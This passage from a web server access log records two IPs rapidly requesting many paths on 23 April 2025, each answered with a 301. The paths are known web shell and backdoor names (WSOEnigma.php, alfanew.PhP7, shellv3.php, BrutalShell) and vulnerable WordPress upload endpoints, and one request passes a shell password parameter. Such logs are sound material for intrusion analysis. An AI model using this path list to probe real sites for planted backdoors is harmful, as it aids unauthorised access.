Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:29 -0400] "GET /admin11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-content/plugins/page-flip-image-gallery/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-content/uploads/2024/09/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-admin/css/colors/blue/ins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /roundcube/static/common/user/uedit/php/controller.php?action=catchimage HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:29 -0400] "GET /fond.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-admin/css/colors/midnight/fxtell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:29 -0400] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /exit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:30 -0400] "GET /termps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /glpi/vendor/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:23:30 -0400] "GET /vip.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:30 -0400] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /files/mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /wp-admin/js/sheb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:30 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /prosellers.PhP7?pass=prosellers HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:30 -0400] "GET /search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /wp-admin/css/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:30 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /delete3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /images/pushy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-includes/ID3/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-admin/js/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-content/plugins/wp-doftx/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:31 -0400] "GET /networks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-admin/css/colors/midnight/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-admin/css/colors/blue/ds.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-includes/rest-api/search/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:31 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-includes/menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-admin/includes/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-class-inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-content/uploads/zi_whatisit___bea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:31 -0400] "GET /abby.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-content/view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /.well-known/b.png.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:31 -0400] "GET /anger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /js/kcfinder/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-includes/wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-admin/includes/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:31 -0400] "GET /phpzipincs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:23:31 -0400] "GET /lu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /images/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-admin/css/colors/blue/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:32 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-content/uploads/class.enhanced.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-content/uploads/2014/06/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /css/wp-casper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-includes/ms-load-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-content/languages/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:23:32 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-admin/maint/Mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-admin/css/f.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /assets/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /images/photo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /assets/library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 